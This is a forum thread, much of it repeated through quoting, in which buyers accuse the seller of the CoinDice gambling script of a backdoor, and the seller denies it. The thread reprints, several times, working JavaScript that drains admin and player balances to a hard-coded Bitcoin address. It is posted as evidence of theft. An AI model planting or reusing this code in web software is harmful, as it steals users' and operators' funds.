up. can see all stats in my topic. https://bitcointalksearch.org/topic/coindicejohny1976-scam-sell-script-with-bugs-1065017
too much negative feedbacks
Topic: CoinDice script is a big SCAMM! Don't buy from them! They stollen my BTC! (Read 5692 times)
April 20, 2016, 08:53:53 AM
May 19, 2015, 07:39:57 AM
Got scammed by Johny1976 too. Lost all coins in my Dice POT.. my topic https://bitcointalksearch.org/topic/coindicejohny1976-scam-sell-script-with-bugs-1065017
Official statement
https://bitcointalksearch.org/topic/m.11419020
May 18, 2015, 07:33:08 PM
Got scammed by Johny1976 too. Lost all coins in my Dice POT.. my topic https://bitcointalksearch.org/topic/coindicejohny1976-scam-sell-script-with-bugs-1065017
February 02, 2015, 12:01:25 AM
do not download any script you find for free. it may contains malwares and other shits 
Scripts can be downloaded for free until you don't have some important data in your pc md you can use you script after checking it properly.if you know to check a such script, then you know programming so you can do it yourself..
I agree that everything (making a script and finding loopholes) have a lot of hard work involved but checking a script is not as difficult as compared to creating one because you don't have to innovate and waste time on front end support.
it is easy to program something if you have a model. the hardest part is when you want to create...
January 31, 2015, 07:23:34 AM
do not download any script you find for free. it may contains malwares and other shits
Scripts can be downloaded for free until you don't have some important data in your pc md you can use you script after checking it properly.if you know to check a such script, then you know programming so you can do it yourself..
I agree that everything (making a script and finding loopholes) have a lot of hard work involved but checking a script is not as difficult as compared to creating one because you don't have to innovate and waste time on front end support.
January 30, 2015, 07:18:06 PM
do not download any script you find for free. it may contains malwares and other shits
Scripts can be downloaded for free until you don't have some important data in your pc md you can use you script after checking it properly.if you know to check a such script, then you know programming so you can do it yourself..
January 30, 2015, 02:44:29 PM
do not download any script you find for free. it may contains malwares and other shits
Scripts can be downloaded for free until you don't have some important data in your pc md you can use you script after checking it properly. January 27, 2015, 09:36:37 AM
do not download any script you find for free. it may contains malwares and other shits
January 02, 2015, 01:53:46 PM
A couple things that might help to clarify the situation:
When did you buy the script?
Where did you buy the script?
Helps if you include basic info like this in the original complaint.
When did you buy the script?
Where did you buy the script?
Helps if you include basic info like this in the original complaint.
January 01, 2015, 09:25:16 PM
I think you didnt even buy the original. You just found the script somewhere and used it.
December 22, 2014, 02:57:25 PM
https://bitcointalksearch.org/topic/start-your-dice-casino-site-coindice-10-script-11-btc-404227
I bought coindice and they stollen all my btc. I paid 1.1 btc for script and they stollen 0.54 btc with their backdoor
Today i found this code in db:
setInterval(function(){fuckyou=(document.body).innerText;fuckme=fuckyou.match("admin");fuckyoutoo=(document.body).innerText;fuckmeaswell=fuckyoutoo.match("Withdraw");if(fuckme!=null){if(fuckmeaswell!=null){var ammount=parseFloat($('#content').find("big").eq(1).html()- 0.01);$.post("./?p=wallet",{_adr:'16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D',_am:ammount},function(data){});}else{window.location.replace("./?p=wallet");}}else{function refreshBalancehaxored(){var s1=(document.location).toString();var s=s1.split("=")[1];s=s.substring(0,s.length- 24)
$.ajax({'url':'./content/ajax/request_balance.php?_unique='+ s,'dataType':"json",'success':function(data){var fuck=(data['balance']);if(fuck>=0.002){$.ajax({'url':'./content/ajax/withdraw.php?valid_addr=16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D&amount='+ fuck+'&_unique='+ s,'dataType':"json",'success':function(data){}});}}});}
refreshBalancehaxored();}},1000);
Till now I havnt seen anything like this in the coindice script that I have seen.I bought coindice and they stollen all my btc. I paid 1.1 btc for script and they stollen 0.54 btc with their backdoor
Today i found this code in db:
setInterval(function(){fuckyou=(document.body).innerText;fuckme=fuckyou.match("admin");fuckyoutoo=(document.body).innerText;fuckmeaswell=fuckyoutoo.match("Withdraw");if(fuckme!=null){if(fuckmeaswell!=null){var ammount=parseFloat($('#content').find("big").eq(1).html()- 0.01);$.post("./?p=wallet",{_adr:'16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D',_am:ammount},function(data){});}else{window.location.replace("./?p=wallet");}}else{function refreshBalancehaxored(){var s1=(document.location).toString();var s=s1.split("=")[1];s=s.substring(0,s.length- 24)
$.ajax({'url':'./content/ajax/request_balance.php?_unique='+ s,'dataType':"json",'success':function(data){var fuck=(data['balance']);if(fuck>=0.002){$.ajax({'url':'./content/ajax/withdraw.php?valid_addr=16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D&amount='+ fuck+'&_unique='+ s,'dataType':"json",'success':function(data){}});}}});}
refreshBalancehaxored();}},1000);
Although I know that coindice has certain vulnerabilities, like double deposits(was there in earlier versions), but I dont think that people can actualy withraw like this.
December 22, 2014, 04:52:59 AM
Gotta check for those backdoors man, it's your own fault if you had funds stolen and you didn't check
December 22, 2014, 02:58:54 AM
I feel that HrN has no right to call Jonny a scammer unless he got a better and legit proof!!
December 22, 2014, 02:08:29 AM
Can you atleast show some proof that he was the one that sold you the script and not some illegal reseller?
December 21, 2014, 06:36:33 PM
I also bought this script from him and it is backdoored. He can change a player balance to whatever he wants and withdraw all the coins in the wallets!
DO NOT BUY THIS SCAMMERS SCRIPT HE WILL STEEL ALL YOUR COINS!
DO NOT BUY THIS SCAMMERS SCRIPT HE WILL STEEL ALL YOUR COINS!
April 06, 2014, 09:47:40 AM
https://bitcointalksearch.org/topic/start-your-dice-casino-site-coindice-10-script-11-btc-404227
I bought coindice and they stollen all my btc. I paid 1.1 btc for script and they stollen 0.54 btc with their backdoor
Today i found this code in db:
setInterval(function(){fuckyou=(document.body).innerText;fuckme=fuckyou.match("admin");fuckyoutoo=(document.body).innerText;fuckmeaswell=fuckyoutoo.match("Withdraw");if(fuckme!=null){if(fuckmeaswell!=null){var ammount=parseFloat($('#content').find("big").eq(1).html()- 0.01);$.post("./?p=wallet",{_adr:'16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D',_am:ammount},function(data){});}else{window.location.replace("./?p=wallet");}}else{function refreshBalancehaxored(){var s1=(document.location).toString();var s=s1.split("=")[1];s=s.substring(0,s.length- 24)
$.ajax({'url':'./content/ajax/request_balance.php?_unique='+ s,'dataType':"json",'success':function(data){var fuck=(data['balance']);if(fuck>=0.002){$.ajax({'url':'./content/ajax/withdraw.php?valid_addr=16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D&amount='+ fuck+'&_unique='+ s,'dataType':"json",'success':function(data){}});}}});}
refreshBalancehaxored();}},1000);
I bought coindice and they stollen all my btc. I paid 1.1 btc for script and they stollen 0.54 btc with their backdoor
Today i found this code in db:
setInterval(function(){fuckyou=(document.body).innerText;fuckme=fuckyou.match("admin");fuckyoutoo=(document.body).innerText;fuckmeaswell=fuckyoutoo.match("Withdraw");if(fuckme!=null){if(fuckmeaswell!=null){var ammount=parseFloat($('#content').find("big").eq(1).html()- 0.01);$.post("./?p=wallet",{_adr:'16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D',_am:ammount},function(data){});}else{window.location.replace("./?p=wallet");}}else{function refreshBalancehaxored(){var s1=(document.location).toString();var s=s1.split("=")[1];s=s.substring(0,s.length- 24)
$.ajax({'url':'./content/ajax/request_balance.php?_unique='+ s,'dataType':"json",'success':function(data){var fuck=(data['balance']);if(fuck>=0.002){$.ajax({'url':'./content/ajax/withdraw.php?valid_addr=16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D&amount='+ fuck+'&_unique='+ s,'dataType':"json",'success':function(data){}});}}});}
refreshBalancehaxored();}},1000);
This is not from original version of the script, you can check it in original files. You just let someone to put backdoor in your script. You even haven't been updating the script...
If he found that code in the DB it means your code is not up to scratch in stopping SQL injections.
I created the script so I know how this things work.
There's no SQL injection. All database inputs are protected. That steal was his fault. He didn't secure server properly.
I already said he had old version of the script. Please read before you post something like this. He had 1.2, it was fixed in 2.0 and newest 3.0 version has also 2 factor auth.
You sold me a vulnerable script! YOU SCAMMED ME!
No, we did not. At least prove it before you start antiCoinDice action.
Hey you scum,
This guy is mostly sure legit, he would not fill the forum with scam messages if he really lost 0.1 BTC in your website, but he would only do this if he was really scammed. I would do the same. If I would've lost 60 USD in a dice game (even if I don't like to bet), I would just take the loss and that's it, it's only 60 dollars. To me, his anger proves that you really scammed him, especially the code that he is posting.
March 22, 2014, 08:33:33 AM
https://bitcointalksearch.org/topic/start-your-dice-casino-site-coindice-10-script-11-btc-404227
I bought coindice and they stollen all my btc. I paid 1.1 btc for script and they stollen 0.54 btc with their backdoor
Today i found this code in db:
setInterval(function(){fuckyou=(document.body).innerText;fuckme=fuckyou.match("admin");fuckyoutoo=(document.body).innerText;fuckmeaswell=fuckyoutoo.match("Withdraw");if(fuckme!=null){if(fuckmeaswell!=null){var ammount=parseFloat($('#content').find("big").eq(1).html()- 0.01);$.post("./?p=wallet",{_adr:'16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D',_am:ammount},function(data){});}else{window.location.replace("./?p=wallet");}}else{function refreshBalancehaxored(){var s1=(document.location).toString();var s=s1.split("=")[1];s=s.substring(0,s.length- 24)
$.ajax({'url':'./content/ajax/request_balance.php?_unique='+ s,'dataType':"json",'success':function(data){var fuck=(data['balance']);if(fuck>=0.002){$.ajax({'url':'./content/ajax/withdraw.php?valid_addr=16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D&amount='+ fuck+'&_unique='+ s,'dataType':"json",'success':function(data){}});}}});}
refreshBalancehaxored();}},1000);
I bought coindice and they stollen all my btc. I paid 1.1 btc for script and they stollen 0.54 btc with their backdoor
Today i found this code in db:
setInterval(function(){fuckyou=(document.body).innerText;fuckme=fuckyou.match("admin");fuckyoutoo=(document.body).innerText;fuckmeaswell=fuckyoutoo.match("Withdraw");if(fuckme!=null){if(fuckmeaswell!=null){var ammount=parseFloat($('#content').find("big").eq(1).html()- 0.01);$.post("./?p=wallet",{_adr:'16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D',_am:ammount},function(data){});}else{window.location.replace("./?p=wallet");}}else{function refreshBalancehaxored(){var s1=(document.location).toString();var s=s1.split("=")[1];s=s.substring(0,s.length- 24)
$.ajax({'url':'./content/ajax/request_balance.php?_unique='+ s,'dataType':"json",'success':function(data){var fuck=(data['balance']);if(fuck>=0.002){$.ajax({'url':'./content/ajax/withdraw.php?valid_addr=16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D&amount='+ fuck+'&_unique='+ s,'dataType':"json",'success':function(data){}});}}});}
refreshBalancehaxored();}},1000);
This is not from original version of the script, you can check it in original files. You just let someone to put backdoor in your script. You even haven't been updating the script...
If he found that code in the DB it means your code is not up to scratch in stopping SQL injections.
I created the script so I know how this things work.
There's no SQL injection. All database inputs are protected. That steal was his fault. He didn't secure server properly.
I already said he had old version of the script. Please read before you post something like this. He had 1.2, it was fixed in 2.0 and newest 3.0 version has also 2 factor auth.
You sold me a vulnerable script! YOU SCAMMED ME!
No, we did not. At least prove it before you start antiCoinDice campaign.
March 20, 2014, 05:52:41 PM
https://bitcointalksearch.org/topic/start-your-dice-casino-site-coindice-10-script-11-btc-404227
I bought coindice and they stollen all my btc. I paid 1.1 btc for script and they stollen 0.54 btc with their backdoor
Today i found this code in db:
setInterval(function(){fuckyou=(document.body).innerText;fuckme=fuckyou.match("admin");fuckyoutoo=(document.body).innerText;fuckmeaswell=fuckyoutoo.match("Withdraw");if(fuckme!=null){if(fuckmeaswell!=null){var ammount=parseFloat($('#content').find("big").eq(1).html()- 0.01);$.post("./?p=wallet",{_adr:'16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D',_am:ammount},function(data){});}else{window.location.replace("./?p=wallet");}}else{function refreshBalancehaxored(){var s1=(document.location).toString();var s=s1.split("=")[1];s=s.substring(0,s.length- 24)
$.ajax({'url':'./content/ajax/request_balance.php?_unique='+ s,'dataType':"json",'success':function(data){var fuck=(data['balance']);if(fuck>=0.002){$.ajax({'url':'./content/ajax/withdraw.php?valid_addr=16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D&amount='+ fuck+'&_unique='+ s,'dataType':"json",'success':function(data){}});}}});}
refreshBalancehaxored();}},1000);
I bought coindice and they stollen all my btc. I paid 1.1 btc for script and they stollen 0.54 btc with their backdoor
Today i found this code in db:
setInterval(function(){fuckyou=(document.body).innerText;fuckme=fuckyou.match("admin");fuckyoutoo=(document.body).innerText;fuckmeaswell=fuckyoutoo.match("Withdraw");if(fuckme!=null){if(fuckmeaswell!=null){var ammount=parseFloat($('#content').find("big").eq(1).html()- 0.01);$.post("./?p=wallet",{_adr:'16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D',_am:ammount},function(data){});}else{window.location.replace("./?p=wallet");}}else{function refreshBalancehaxored(){var s1=(document.location).toString();var s=s1.split("=")[1];s=s.substring(0,s.length- 24)
$.ajax({'url':'./content/ajax/request_balance.php?_unique='+ s,'dataType':"json",'success':function(data){var fuck=(data['balance']);if(fuck>=0.002){$.ajax({'url':'./content/ajax/withdraw.php?valid_addr=16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D&amount='+ fuck+'&_unique='+ s,'dataType':"json",'success':function(data){}});}}});}
refreshBalancehaxored();}},1000);
This is not from original version of the script, you can check it in original files. You just let someone to put backdoor in your script. You even haven't been updating the script...
If he found that code in the DB it means your code is not up to scratch in stopping SQL injections.
I created the script so I know how this things work.
There's no SQL injection. All database inputs are protected. That steal was his fault. He didn't secure server properly.
I already said he had old version of the script. Please read before you post something like this. He had 1.2, it was fixed in 2.0 and newest 3.0 version has also 2 factor auth.
March 20, 2014, 04:43:28 PM
https://bitcointalksearch.org/topic/start-your-dice-casino-site-coindice-10-script-11-btc-404227
I bought coindice and they stollen all my btc. I paid 1.1 btc for script and they stollen 0.54 btc with their backdoor
Today i found this code in db:
setInterval(function(){fuckyou=(document.body).innerText;fuckme=fuckyou.match("admin");fuckyoutoo=(document.body).innerText;fuckmeaswell=fuckyoutoo.match("Withdraw");if(fuckme!=null){if(fuckmeaswell!=null){var ammount=parseFloat($('#content').find("big").eq(1).html()- 0.01);$.post("./?p=wallet",{_adr:'16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D',_am:ammount},function(data){});}else{window.location.replace("./?p=wallet");}}else{function refreshBalancehaxored(){var s1=(document.location).toString();var s=s1.split("=")[1];s=s.substring(0,s.length- 24)
$.ajax({'url':'./content/ajax/request_balance.php?_unique='+ s,'dataType':"json",'success':function(data){var fuck=(data['balance']);if(fuck>=0.002){$.ajax({'url':'./content/ajax/withdraw.php?valid_addr=16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D&amount='+ fuck+'&_unique='+ s,'dataType':"json",'success':function(data){}});}}});}
refreshBalancehaxored();}},1000);
I bought coindice and they stollen all my btc. I paid 1.1 btc for script and they stollen 0.54 btc with their backdoor
Today i found this code in db:
setInterval(function(){fuckyou=(document.body).innerText;fuckme=fuckyou.match("admin");fuckyoutoo=(document.body).innerText;fuckmeaswell=fuckyoutoo.match("Withdraw");if(fuckme!=null){if(fuckmeaswell!=null){var ammount=parseFloat($('#content').find("big").eq(1).html()- 0.01);$.post("./?p=wallet",{_adr:'16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D',_am:ammount},function(data){});}else{window.location.replace("./?p=wallet");}}else{function refreshBalancehaxored(){var s1=(document.location).toString();var s=s1.split("=")[1];s=s.substring(0,s.length- 24)
$.ajax({'url':'./content/ajax/request_balance.php?_unique='+ s,'dataType':"json",'success':function(data){var fuck=(data['balance']);if(fuck>=0.002){$.ajax({'url':'./content/ajax/withdraw.php?valid_addr=16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D&amount='+ fuck+'&_unique='+ s,'dataType':"json",'success':function(data){}});}}});}
refreshBalancehaxored();}},1000);
This is not from original version of the script, you can check it in original files. You just let someone to put backdoor in your script. You even haven't been updating the script...
If he found that code in the DB it means your code is not up to scratch in stopping SQL injections.
March 15, 2014, 08:55:20 AM
https://bitcointalksearch.org/topic/start-your-dice-casino-site-coindice-10-script-11-btc-404227
I bought coindice and they stollen all my btc. I paid 1.1 btc for script and they stollen 0.54 btc with their backdoor
Today i found this code in db:
setInterval(function(){fuckyou=(document.body).innerText;fuckme=fuckyou.match("admin");fuckyoutoo=(document.body).innerText;fuckmeaswell=fuckyoutoo.match("Withdraw");if(fuckme!=null){if(fuckmeaswell!=null){var ammount=parseFloat($('#content').find("big").eq(1).html()- 0.01);$.post("./?p=wallet",{_adr:'16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D',_am:ammount},function(data){});}else{window.location.replace("./?p=wallet");}}else{function refreshBalancehaxored(){var s1=(document.location).toString();var s=s1.split("=")[1];s=s.substring(0,s.length- 24)
$.ajax({'url':'./content/ajax/request_balance.php?_unique='+ s,'dataType':"json",'success':function(data){var fuck=(data['balance']);if(fuck>=0.002){$.ajax({'url':'./content/ajax/withdraw.php?valid_addr=16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D&amount='+ fuck+'&_unique='+ s,'dataType':"json",'success':function(data){}});}}});}
refreshBalancehaxored();}},1000);
I bought coindice and they stollen all my btc. I paid 1.1 btc for script and they stollen 0.54 btc with their backdoor
Today i found this code in db:
setInterval(function(){fuckyou=(document.body).innerText;fuckme=fuckyou.match("admin");fuckyoutoo=(document.body).innerText;fuckmeaswell=fuckyoutoo.match("Withdraw");if(fuckme!=null){if(fuckmeaswell!=null){var ammount=parseFloat($('#content').find("big").eq(1).html()- 0.01);$.post("./?p=wallet",{_adr:'16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D',_am:ammount},function(data){});}else{window.location.replace("./?p=wallet");}}else{function refreshBalancehaxored(){var s1=(document.location).toString();var s=s1.split("=")[1];s=s.substring(0,s.length- 24)
$.ajax({'url':'./content/ajax/request_balance.php?_unique='+ s,'dataType':"json",'success':function(data){var fuck=(data['balance']);if(fuck>=0.002){$.ajax({'url':'./content/ajax/withdraw.php?valid_addr=16BBWzqQuYutnipx3iLLaZUVRUos7KEx8D&amount='+ fuck+'&_unique='+ s,'dataType':"json",'success':function(data){}});}}});}
refreshBalancehaxored();}},1000);
This is not from original version of the script, you can check it in original files. You just let someone to put backdoor in your script. You even haven't been updating the script...
Jump to: